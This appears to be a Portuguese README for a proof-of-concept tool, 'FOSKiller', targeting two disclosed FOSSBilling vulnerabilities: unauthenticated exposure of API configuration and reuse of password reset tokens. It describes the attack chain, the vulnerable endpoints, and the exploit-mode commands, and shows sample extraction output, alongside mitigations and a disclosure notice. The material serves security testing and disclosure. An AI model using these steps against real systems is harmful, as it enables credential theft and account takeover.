
FOSSBilling CVE-2026-53647 & CVE-2026-53646 PoC — Divulgação não autenticada de chave de API e reutilização de token de redefinição de senha
███████╗ ██████╗ ███████╗██╗ ██╗██╗██╗ ██╗ ███████╗██████╗
██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗
█████╗ ██║ ██║███████╗█████╔╝ ██║██║ ██║ █████╗ ██████╔╝
██╔══╝ ██║ ██║╚════██║██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗
██║ ╚██████╔╝███████║██║ ██╗██║███████╗███████╗███████╗██║ ██║
╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝
feito por 7megaumka7
Ferramenta PoC para duas vulnerabilidades aceitas no GitHub Security Advisory no FOSSBilling ≤ 0.7.2
FOSKiller é uma ferramenta de prova de conceito que demonstra duas vulnerabilidades de segurança no FOSSBilling — uma plataforma de código aberto para faturamento e gerenciamento de clientes. Ambas as vulnerabilidades foram divulgadas de forma responsável através do programa GitHub Security Advisory e estão totalmente corrigidas no FOSSBilling 0.7.3+.
A ferramenta é destinada a:
O endpoint convidado /api/guest/serviceapikey/get_info retorna a configuração completa do serviço
— incluindo campos custom_*, credenciais de API, nomes de host e senhas —
sem exigir qualquer autenticação. Um atacante que conheça ou enumere uma chave de API
válida pode recuperar toda a configuração do serviço backend a partir de um endpoint público.
Impacto: Exposição de credenciais de serviço, nomes de host internos, segredos de API.
Quando um cliente aciona duas redefinições de senha consecutivas para a mesma conta, o aplicativo emite um novo token, mas não invalida o anterior. Um atacante que tenha capturado previamente o primeiro token pode usá-lo para definir uma nova senha mesmo após o usuário legítimo concluir seu próprio fluxo de redefinição.
Cadeia de ataque:
1. Atacante aciona POST /api/guest/client/reset_password → captura token T1
2. Vítima aciona sua própria redefinição → app emite T2, T1 permanece válido
3. Atacante chama POST /api/guest/client/update_password?hash=T1 com senha escolhida
4. Atacante tem acesso persistente independentemente da conclusão da redefinição da vítima
Impacto: Assunção persistente de conta de qualquer cliente cujo e-mail de redefinição seja interceptável.
Se as dependências estiverem faltando, o script detecta isso na inicialização e oferece a instalação automática.
Clone e instale as dependências:
git clone https://github.com/7megaumka7/FOSKiller.git
cd FOSKiller
pip install -r requirements.txt
Ou execute sem pré-instalação — o script perguntará se deseja instalar pacotes faltantes na primeira execução.
python fossbilling_poc.py --target URL [--key KEY] [--email EMAIL]
[--check-only | --exploit]
[--force] [--output FILE]
[--timeout SEC] [--proxy URL]
--check-only e --exploit são mutuamente exclusivos.
Apenas detecção — verificar ambos os CVEs sem extrair dados:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--check-only
Extração completa e documentação da cadeia de ataque:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--exploit
Salvar resultados em JSON e rotear pelo Burp Suite:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--output results.json \
--proxy http://127.0.0.1:8080
Testar uma versão desconhecida ou já corrigida:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--force
[*] Probing https://billing.example.com …
[+] Detected version: 0.7.1
[+] CVE-2026-53647 affected range (>=0.5.3 <=0.7.2): YES
[+] CVE-2026-53646 affected range (>=0.5.6 <=0.7.2): YES
── CVE-2026-53647 │ Unauthenticated API Key Config Disclosure ─────────
[*] Target : https://billing.example.com/api/guest/serviceapikey/get_info?key=***
[*] Mode : Full extraction
[*] HTTP : 200
[+] VULNERABLE — endpoint returned 4 sensitive field(s) without authentication
Field Value
──────────────────────────────────────────────────────────────────────
custom_hostname db.internal.example.com
custom_username fossbilling_db
custom_password [REDACTED IN THIS EXAMPLE]
custom_api_secret [REDACTED IN THIS EXAMPLE]
── CVE-2026-53646 │ Password Reset Token Reuse / Account Takeover ─────
[*] Sending reset request #1 …
[*] HTTP 200 | 142 ms | 2026-06-12T10:00:00.000Z
[*] Sending reset request #2 (same email) …
[*] HTTP 200 | 138 ms | 2026-06-12T10:00:01.000Z
[*] Time delta between requests : 0.643s
[!] Both reset requests succeeded — endpoint accepts repeated resets without rate-limiting.
── Summary ─────────────────────────────────────────────────────────────
CVE GHSA Severity Status
──────────────────────────────────────────────────────────────────────────────────
CVE-2026-53647 GHSA-737q-9gpr-6mpq Moderate (CVSS 6.9) VULNERABLE
CVE-2026-53646 GHSA-vp66-w6rc-x32p High (CVSS 7.7) POTENTIALLY_VULNERABLE
Atualize para FOSSBilling >= 0.7.3, que corrige ambas as vulnerabilidades.
Se a correção imediata não for possível:
| CVE | Mitigação Temporária |
|---|---|
| CVE-2026-53647 | Bloqueie o acesso a /api/guest/serviceapikey/ no servidor web ou nível WAF |
| CVE-2026-53646 | Implemente invalidação de token na reemissão; adicione limitação de taxa ao endpoint de redefinição |
Ambas as vulnerabilidades foram reportadas aos mantenedores do FOSSBilling através do programa GitHub Security Advisory antes desta publicação.
Esta ferramenta é fornecida apenas para fins educacionais e testes de segurança autorizados.
Use esta ferramenta apenas contra sistemas que você possui ou para os quais recebeu autorização explícita por escrito para testar. O uso não autorizado contra sistemas de terceiros é ilegal sob o Computer Fraud and Abuse Act (CFAA), o Computer Misuse Act e legislação equivalente em todo o mundo.
O autor não assume nenhuma responsabilidade por uso indevido, danos ou consequências legais decorrentes do uso desta ferramenta. Ao usar esta ferramenta, você concorda que é o único responsável por suas ações.
Pesquisador e Autor: 7megaumka7
Descoberta de vulnerabilidade, análise, divulgação responsável e desenvolvimento da ferramenta.
| Advisory | CVE | Tipo | CVSS | Afetado |
|---|
| GHSA-737q-9gpr-6mpq | CVE-2026-53647 | Divulgação de Configuração de Chave de API não Autenticada | 6.9 Moderado | >= 0.5.3, <= 0.7.2 |
| GHSA-vp66-w6rc-x32p | CVE-2026-53646 | Reutilização de Token de Redefinição de Senha → Assunção de Conta | 7.7 Alto | >= 0.5.6, <= 0.7.2 |
| Flag | Obrigatório | Descrição |
|---|
--target URL | Sim | URL base da instância do FOSSBilling |
--key KEY | Para CVE-2026-53647 | Chave de API a testar |
--email EMAIL | Para CVE-2026-53646 | E-mail do cliente a testar |
--check-only | Não | Modo de detecção — confirme a vulnerabilidade sem extrair dados |
--exploit | Não | Extração completa + documentação da cadeia de ataque |
--force | Não | Ignorar verificação de faixa de versão |
--output FILE | Não | Salvar resultados completos em um arquivo JSON |
--timeout SEC | Não | Timeout HTTP em segundos (padrão: 10) |
--proxy URL | Não | Proxy HTTP (ex.: http://127.0.0.1:8080) |
| Modo | Flag | O que faz |
|---|
| Detecção | --check-only | Confirma se a vulnerabilidade existe. Não exibe ou extrai valores sensíveis. |
| Padrão | (sem flag de modo) | Confirma o status e mostra evidências básicas. |
| Exploração | --exploit | Extrai todos os campos vazados; documenta a cadeia completa de assunção de conta com metadados de tempo. |